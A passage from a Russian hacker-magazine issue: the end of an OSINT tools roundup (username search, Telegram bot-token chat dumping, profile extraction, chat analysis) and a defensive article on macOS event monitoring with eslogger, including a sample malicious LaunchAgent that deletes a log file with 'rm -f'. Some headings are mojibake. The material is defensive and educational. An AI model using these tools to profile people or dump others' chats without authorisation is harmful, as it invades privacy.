Этот вариант написан на Go и работает несколько быстрее.
Enola умеет искать пользователей по никам на чуть менее чем 400 сервисах и имеет куда более приятный интерфейс, чем Sherlock.
Установка доступна в двух вариантах: простом и для любителей языка Go.
Я себя отношу ко вторым, поэтому позволю себе чуть более длинный путь.
Сначала нужно клонировать репозиторий:
git clone https://github.com/TheYahya/enola.git

Затем переходим в директорию enola/cmd/enola и собираем бинарник
командой go build.
Появится исполняемый файл enola, который можно запустить: ./enola.

Альтернативный способ установки тоже требует наличия Go (версии
не ниже 1.19), но делается всего в одну команду:
go install github.com/theyahya/enola/cmd/enola@latest

Теперь можно запустить Enola и посмотреть, как она справится с поиском
случайного ника из какого-то чата.

Результаты поиска
Как видишь, пользоваться легко, а подсказки по всем хоткеям доступны
на нижней панели. Еще из преимуществ — запускается просто, очень быстро,
а результаты выводятся мгновенно.
3. TELEGRAM-BOT-DUMPER
Этот инструмент весьма пригодится, когда в твоих руках оказался токен бота
в Telegram, — например если ты расследуешь заражение каким-то вредоносом, который управлялся как Telegram-бот. Скрипт достанет переписки всех
пользователей с ботом, включая не только текстовые сообщения, но и все
медиафайлы. Так что Telegram-bot-dumper — не только инструмент OSINT,
но и просто полезная в жизни штуковина.
Для работы потребуется получить API_ID и API_HASH приложения
для Telegram, поэтому желательно создать левый аккаунт — осторожность
не бывает лишней. Ты же не хочешь, чтобы в случае чего в бан полетел твой
личный акк?
Инструмент скачиваем и устанавливаем, как любое Python-приложение:
клонируем репозиторий, переходим в его каталог и ставим зависимости.
git clone https://github.com/soxoj/telegram-bot-dumper
cd telegram-bot-dumper
pip install -r requirements.txt

Перед запуском нужно открыть файл dumper.py любым редактором
и поменять переменные API_ID и API_HASH на свои.

Установка Telegram-bot-dumper
Запускаем:
python3 dumper.py --token

Скрипт скачает всю историю, до какой сможет дотянуться, и останется слушать новые сообщения. Чтобы остановить его, достаточно нажать Ctrl-C.

История скачалась
К сожалению, инструмент не умеет сам определять, когда пользователь удалил часть сообщений, и может сдампить не всю историю. Чтобы это исправить, используй параметр --lookahead N, где N — количество пачек
по 200 сообщений (по умолчанию), которые инструмент попробует сдампить
дополнительно. Обрати внимание, что удаленные сообщения таким образом
достать все равно не получится, но есть шанс получить более ранние.
Скрипт полезен как минимум для того, чтобы оценивать масштаб бедствия
(объем украденных при атаке данных), а в случаях атак с управлением через
Telegram-бота — еще и восстановить хронологию.

Продолжение статьи



← НАЧАЛО СТАТЬИ

ТРЮКИ

СОБИРАЕМ ИНСТРУМЕНТАРИЙ СЕТЕВОГО
РАЗВЕДЧИКА

4. SOCID-EXTRACTOR
Socid-extractor позволяет выгружать информацию о профиле из многих сервисов, которые поддерживает Enola, но делает это с уровнем подробностей
как у YaSeeker. Отображается много деталей, а не просто факт регистрации
пользователя в каком-то сервисе.
Важный момент: API самих сервисов обычно не используются, поэтому
объем информации, конечно, поменьше, чем мог бы быть, зато сам скрипт
работает очень быстро и не требует утомительной настройки с получением
API-ключей от сотен сервисов.
Socid-extractor имеет смысл запускать в связке с другими подобными инструментами — вроде того же YaSeeker.
Устанавливается Socid-extractor все так же:
git clone https://github.com/soxoj/socid-extractor
cd socid-extractor
pip install -r requirements.txt

Теперь мы можем просмотреть информацию об интересующем нас человеке.
Для примера можно взять «Вконтакте».

Инструмент вывел фамилию, имя, дату регистрации и последнего обновления, информацию о том, активен ли аккаунт и является ли он приватным.
Для первого подхода к сбору данных вполне достаточно.
5. TELANALYSIS
На сладкое у меня есть интересный инструмент для анализа чатов в Telegram.
Если точнее, TelAnalysis анализирует файл истории чата и выполняет все действия без участия API и приложения Telegram, как это обычно бывает в скриптах, которые работают с данными Telegram.

Читай также: «Парсим телегу. Как собирать имена
участников чатов в Telegram

TelAnalysis выполняет в основном статический анализ чата: создает список
и граф самых активных участников, выводит топ самых частых слов в чате
и облако тегов (картинку, где слова записаны разным размером в зависимости от популярности). Также он умеет выводить общую информацию о каждом
пользователе. Дополнительно можно сгенерировать топ слов каждого
отдельного пользователя, чтобы понять, кто чем интересуется.
Выглядит интерфейс этого замечательного инструмента немного не так,
как у всех предыдущих: в консоли у него обитает только сам сервер, а взаимодействие с пользователем устроено через браузер.
Ставим TelAnalysis традиционным способом и запускаем файл main.py:
git clone https://github.com/krakodjaba/TelAnalysis.git
cd TelAnalysis
pip install -r requirements.txt
python3 main.py

Консольный интерфейс крайне минималистичный
В консоль скрипт выплюнет только ссылку на панель управления. Если перейти по ней, в браузере откроется минималистичный интерфейс. Достаточно
загрузить в него JSON-дамп чата, который ты хочешь проанализировать.

Веб-интерфейс тоже не перегружен
Создать сам JSON-дамп крайне просто: заходишь в официальный клиент
Telegram, находишь интересующий тебя чат, жмешь троеточие в правом верхнем углу и выбираешь «Экспорт истории». В настройках экспорта (на скриншоте ниже) выбираешь формат JSON и путь для сохранения. Экспортировать
файлы, картинки и твои любимые голосовые не нужно — TelAnalysis принимает только текст, так что на остальное ты только зря потратишь время.

Настройки экспорта
Теперь сохраняем экспортированный файл в удобном месте и загружаем его
в панель.
Список пользователей показывает, кто и сколько написал в группе, а еще
содержит ID, чтобы можно было отслеживать сообщения одного и того же
человека, даже если он поменяет ник.

Количество сообщений каждого участника группы
Граф выглядит не супер, но связи между пользователями видны.

Граф связей между пользователями
Сгенерируем теперь облако тегов. Тоже выглядит не очень, в первую очередь
потому, что служебные слова не удалены. Впрочем, это легко исправить. Если
соберешься, не забудь отправить автору пул-реквест.

Облако тегов
Последняя функция — показ сообщений по ID пользователя. Лично я пока
не нашел этому применения, ведь в Telegram есть более удобный поиск
по отправителю.

ÂÛÂÎÄÛ
Рассмотренные сегодня инструменты, конечно, не единственные в своем
роде, и возможно, что ты знаешь тулзы еще лучше и полезнее. В таком случае
не стесняйся закинуть ссылочку нам на почту (контакты — ниже) или пиши
в комментариях. Любой фидбэк будет ценным, а там, глядишь, насобираем
еще на один выпуск такой подборки.

АДМИН

ОТСЛЕЖИВАЕМ СИСТЕМНЫЕ
СОБЫТИЯ В MACOS

Можно бесконечно наблюдать за тремя
вещами: горящим огнем, текущей водой
и событиями в операционной системе.
И если в Windows средства мониторинга
и журналирования уже хорошо изучены
пользователями и системными администраторами, то в macOS с этим не все так
просто. Сегодня мы поговорим о бесплатных инструментах отслеживания событий
в «маке» и их практическом применении.

Михаил Онищенко
tofolt@icloud.com

Как мы привыкли к событиям Windows… С ними все понятно, в сети доступно
огромное количество материалов о настройке централизованного сбора
событий с использованием Windows Event Forwarding. Многие гайды предлагают пошаговые инструкции с ответами на вопросы из серии «Сколько WEC
(Windows Event Collector) нужно для парка в 4000 машин?».
Однако крайне мало внимания уделяется компьютерам на базе macOS.
Причины очевидны: немногие организации сейчас готовы закупать «маки»
для своих сотрудников. Это дорого, непонятно, как эти машины администрировать, возникает ворох проблем с совместимостью. Кроме того, на рынке
доступно не так много специалистов, которые знают, как обуздать эту операционную систему и как обезопасить ее, ведь для macOS также существуют
угрозы. Однако решение проблемы с мониторингом есть, и оно уже встроено
в систему, начиная с версии 10.15 Catalina.
ÑÏÎÑÎÁÛ ÌÎÍÈÒÎÐÈÍÃÀ
Всего существует три способа мониторинга событий в macOS:
1. Коммерческий EDR.
2. Osquery.
3. Eslogger (ESF).
О последнем мы и поговорим, попытавшись разобраться, как устроен этот
инструмент.

Ранее для мониторинга событий в macOS использовалась подсистема аудита OpenBSM. Она была
разработана компанией McAfee Research
по индивидуальному заказу Apple в 2004 году.
Позднее исходный код передали в TrustedBSD
для нужд комьюнити. Этот инструмент был убран
из macOS в версии Big Sur и больше не поддерживается.

Endpoint Security Framework (ESF) — это нативный компонент macOS, который
служит для проактивного поиска событий и реагирования на них. Инструмент
позволяет подписываться на события Notication и Authorization. Принцип его
работы можно сравнить с Event Tracing For Windows (ETW). Он позволяет
просматривать низкоуровневые события, связанные с процессами, файлами,
немного с сетью и памятью, а также много чего еще!
ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?
Раньше, если какая-то компания бралась за разработку решения Endpoint
Security, ей приходилось делать так называемое Kernel Extension (модуль
для ядра). Примерами таких решений служат OpenBSM, Kauth KPI, MAC
Framework. Решения на базе Kernel Extension было тяжело разрабатывать
и поддерживать. Незначительные баги могли привести к kernel panic,
а несовершенный код пробивал новые дырки в безопасности macOS.
В Apple это прекрасно понимали и поэтому в 2019 году (лучше поздно, чем
никогда) заменили Kernel Extensions, которые работали в пространстве ядра,
System Extensions, которые работают в пользовательском пространстве.
Теперь у разработчиков развязаны руки. Все стало гораздо удобнее.

Хотя Kernel Extensions уже устарели, они все
еще могут использоваться в современных
macOS — но с оговоркой, что профиль безопасности системы должен быть сильно снижен.
Добиться этого бывает очень сложно, и обычно
это делается исключительно в целях разработки.
Если производители не заменят кексты системными расширениями, они могут поставить
под угрозу безопасность систем своих клиентов.

Àêòóàëüíàÿ ñõåìà ðàáîòû Endpoint Security
Существует два типа событий: Notification и Authorization. Они оба предоставляют одинаковую информацию, но между ними все же есть разница.
• Notification — этот тип нужен для информирования об активности. Пример: запуск бинаря.
• Authorization — этот тип нужен для блокирования активности. Пример:
при наступлении события ядро стучится в System Extension антивирусного
ПО для проверки, можно ли запускать процесс. Если ответа нет, то процесс прибивается на месте, так и не запустившись в пользовательском
пространстве.

Схема работы Endpoint Security
Существует огромное количество событий, на которые можно подписаться,
чтобы получать информацию о том, что происходит в системе в реальном
времени.
На сайте для разработчиков Apple есть полный список событий с описанием, какую информацию содержит каждое из них.
RED CANARY MAC MONITOR
Одна из немногих компаний, которая занимается в том числе и безопасностью macOS, — Red Canary. В мае 2023 года она выпустила утилиту
под названием Mac Monitor. Эта программа отлично подойдет для демонстрации того, как вообще выглядят события ESF и как с ними можно работать.
Также она будет очень полезна тем, кто проводит live response в системе.
В настройках можно установить фильтры и подписки на конкретные типы
событий.

Mac Monitor
Так выглядит событие запуска команды curl после парсинга.

Тут мы можем увидеть события, которые относятся к главному событию.

А вот процесс-инициализатор.

Событие запуска команды curl в сыром виде.

Загрузить утилиту можно по ссылке с GitHub.
Òîëüêî äëÿ live response
Для реализации полноценного мониторинга Red Canary Mac Monitor нам
не подойдет по следующим причинам:
1. Это приложение придется раскатывать по всем системам.
2. Хакер может легко прибить этот процесс.
3. Его, как приложение, проблематично замаскировать и поставить в бэкграунд.
4. Утилита собирает далеко не все типы событий и многое упускает из виду.
Следующий инструмент — хорошая бесплатная альтернатива вендорскому
EDR. Скажу по секрету, коммерческие EDR под капотом поголовно используют ESF.
ÍÓ È ÊÀÊ ÆÅ ÌÎÍÈÒÎÐÈÒÜ?
Перейдем к нативным средствам. Утилиты вроде Red Canary Mac Monitor
используют Endpoint Security API и делают упор на визуализацию и красоту.
Решение, которое мы запряжем в наш SOC, ориентируется на нативность,
полноту и безопасность.
Это eslogger, утилита командной строки, она предоставляет прямой доступ
непосредственно к генерируемым ядром событиям и поставляется со всеми
версиями macOS выше Ventura. Этакий поисковик среди событий.
Плюсы eslogger:
• уже есть на каждой macOS Ventura;
• не грузит систему при использовании;
• выдает лог в текстовом формате, а не бинарном;
• дает отличную видимость активности.
Сначала мы посмотрим список событий, на которые можно подписаться:
sudo eslogger --list-events

Эта команда выведет нам внушительный список. Приведу примеры:
Íàçâàíèå

Ïîëíîå íàçâàíèå

Ôóíêöèè

create

es_event_create_t

Создание файла

open

es_event_open_t

Открытие файла

write

es_event_write_t

Запись в файл

unlink

es_event_unlink_t

Удаление файла

utimes

es_event_utimes_t

Изменение параметров
access time
и modication time файла

exec

es_event_exec_t

Запуск процесса

uipc_connect

es_event_uipc_connect
_t

Подключение через сокет

kextload

es_event_kextload_t

Загрузка Kernel Extension

btm_launch_item_add

Создание нового
объекта входа (Launch
Item)

btm_launch_item_a
dd

ÏÐÀÊÒÈÊÀ
Переведем наши упражнения в практическую плоскость и применим их
для решения конкретной задачи. В директории Logs лежит файл xakep.ru2023.log. Туда записываются чрезвычайно важные данные.
На компьютер Mac попал надоедливый вредоносный скрипт, который прописался как задача в /Library/LaunchAgents/ и постоянно, каждые пять
минут, удаляет лог, который лежит в директории Logs. Надоел уже!
Файл задачи с расширением .plist выглядит так:




Label
com.hacker.annoying.task
ProgramArguments

/bin/sh
/Users/tofolt/Downloads/DeleteLogFile.sh

StartInterval
300



А сам скрипт так:
rm -f "/Users/tofolt/Logs/xakep.ru-2023.log"

Чтобы отловить этот скрипт, нам понадобится следующая команда eslogger:
sudo eslogger exec open unlink btm_launch_item_add >> result.json

Предположим, что у нас уже писались логи в момент заражения. Нам не составит труда найти событие добавления скрипта в автозапуск. Большая часть
события была отброшена, оставлены только главные строки. В оригинальных
событиях много информативных полей, в том числе и очень полезных для связывания событий друг с другом (btm_launch_item_add):
{
"event": {
"btm_launch_item_add": {
"executable_path": "/bin/sh",
"instigator": {
"signing_id": "com.apple.xpc.smd",
"ppid": 1,
"tty": null,
"start_time": "2023-07-09T10:17:55.546995Z",
},
"item": {
"item_url": "file:///Library/LaunchAgents/com.hacker.
annoying.task.plist",
}
}
},
"time": "2023-07-09T14:08:03.326637707Z",
}

Далее мы найдем момент запуска скрипта (exec):
{
"event": {
"exec": {
"script": {
"path": "/Users/tofolt/Downloads/DeleteLogFile.sh",
},
"executable": {
"path": "/bin/sh",
},
"start_time": "2023-07-09T14:33:56.804354Z",
"is_platform_binary": true,
"group_id": 22017,
"audit_token": {
"asid": 100005,
"pidversion": 49567,
"ruid": 503,
"euid": 503,
"rgid": 20,
"auid": 503,
"egid": 20,
"pid": 22017
},
},
"args": [
"/bin/sh",
"/Users/tofolt/Downloads/DeleteLogFile.sh"
],
},
"time": "2023-07-09T14:33:56.814464013Z",
"action": {
"result": {
"result": {
"auth": 0
},
"result_type": 0
}
}

Финальный аккорд. Событие удаления файла xakep.ru-2023.log (unlink).
{
"event": {
"unlink": {
"target": {
"path": "/Users/tofolt/Logs/xakep.ru-2023.log",
},
"parent_dir": {
"path": "/Users/tofolt/Logs",
}
}
},
"time": "2023-07-09T14:34:57.713064962Z",
"executable": {
"path": "/bin/rm",
},
"ppid": 22069,
},
"start_time": "2023-07-09T14:34:57.704093Z",
}

В общем, при наличии логов отыскать требуемое событие и получить сведения о нем довольно просто.
KILL THEM ALL
Как обезопаситься от того, что хакер просто прибьет процесс eslogger
командой kill?
Например, можно создать новую учетку на компьютере и назвать ее с нижним подчеркиванием _brew, добавить привилегии, чтобы обычный пользователь не мог прибить процессы, запущенные от ее имени. Ожидается, что
хакер, когда захочет узнать всех пользователей в системе, отфильтрует
вывод, убирая записи с нижними подчеркиваниями, потому что так называются системные учетки для внутреннего функционирования системы. А даже
если он выведет все учетные записи, _brew замаскируется под пакетный
менеджер, который стоит почти на каждом «маке» программиста. Таким
образом мы и защитимся от команды kill.
Ну или второй вариант — назвать _ftp_server. Это объяснит столь
высокие системные полномочия у учетки.
ÈÑÏÎËÜÇÎÂÀÍÈÅ Â ÈÍÔÐÀÑÒÐÓÊÒÓÐÅ
Как все это разворачивать?
Конкретную пошаговую инструкцию выдать не получится просто потому,
что у всех разные инфраструктуры и очень по-разному администрируются
«маки», но подкинуть пару идей я могу.
1. У тебя наверняка есть ПО для управления Mac по типу Jamf Pro. Ты
можешь создать запланированную задачу, запускающую скрипт пересылки данных из файла собранных логов.
2. Если у тебя есть какой-то агент на компьютерах, то проверь, не может ли
он собирать дополнительно и файл логов.
3. Обязательно нужно настроить ротацию файла с логом, чтобы после
пересылки, например, в SIEM, он чистился, иначе он может довольно быстро вырасти до существенных размеров.
В eslogger может возникнуть проблема бутылочного горлышка, если подписать инструмент на слишком большое количество событий. Все они просто
не будут успевать сохраняться в журнал. В интернете описывают эту проблему и рассказывают, как ее лечить.
Какова нагрузка на систему? Незначительная. Однако EPS может быть
большим, если должным образом не настроить фильтрацию событий.
Напоминаю, что решение бесплатное и всех удобств «из коробки»
не гарантирует. Фильтрация тут обязательна.
ÍÎÐÌÀËÈÇÀÖÈß È ÔÈËÜÒÐÀÖÈß
Сразу уточню, что предложенный ниже вариант лишь вариация на тему «как
это можно делать». Итак, для нормализации будем использовать инструмент
под названием fx. Для фильтрации возьмем другой инструмент — jq.
Приведем JSON в нормальный вид с помощью скрипта на Python 3:
import sys
out: str = "["
lines = sys.stdin.readlines()
for index, line in enumerate(lines):
if index == len(lines)-1:
out += "{}".format(line)
else:
out += "{}{}".format(line, ",")
out += "]"
print(out)

Наполненный логами файл мы прогоним через наш нормализатор:
cat eslogger_output.json | ./normalizer.py | fx . > better_eslogger_
output.json

Нормализованный файл теперь необходимо отфильтровать. Я, например,
исключу все события, связанные с процессом Finder:
cat better_eslogger_output.json | jq '[.[] | select(.process.
signing_id == "com.apple.finder" )]' > eslogger_final.json

Подскажу пути, которые можно (точно так же, как и Finder) исключить из захвата через eslogger, чтобы не создавать мусор. Многие из путей могут
показаться важными для мониторинга. Однако в 2015 году Apple добавила
механизм System Integrity Protection (SIP), а позже, в 2019-м, разделила диск
на защищенный и незащищенный разделы. SIP предохраняет системные критически важные директории от вмешательства, и поэтому злоумышленник
не сможет ничего изменить в них, если только ты не отключил SIP вручную.
Поэтому и мониторить их не нужно. Найти список путей для исключения можно в моем репозитории.
ÂÛÂÎÄÛ
Мы рассмотрели работу ESF, узнали о решениях, которые дают доступ к низкоуровневым событиям в системе, а также об особенностях работы с ними.
Хоть утилита eslogger и классная, но она не лишена недостатков. Приходится
применять заплатки, чтобы это заработало в масштабах SOC, но зато
eslogger не требует денег и не уступает в 90% случаев коммерческим EDRрешениям (видимость сетевых подключений там, конечно, гораздо лучше).

«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.
• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит
от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скидку. Уже после третьего раза подписка станет бесплатной навсегда.
Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü
ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.
ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сомневаться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необходимость. И конечно, перед публикацией мы согласуем с автором все правки и вносим новые, если нужно.
ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себенесколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцессоров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе придумаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, подкинуть нам идею все равно можно.
Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?
1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выдает тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проблемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.

№7 (292)
Андрей Письменный
Главный редактор
pismenny@glc.ru

Валентин Холмогоров
Ведущий редактор
valentin@holmogorov.ru

Илья Русанен
Разработка
rusanen@glc.ru

Евгения Шарипова
Литературный редактор

MEGANEWS
Мария Нефёдова
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стемпковский, Алексей Глазков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке:
lapina@glc.ru

Вопросы о материалах:
support@glc.ru

Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022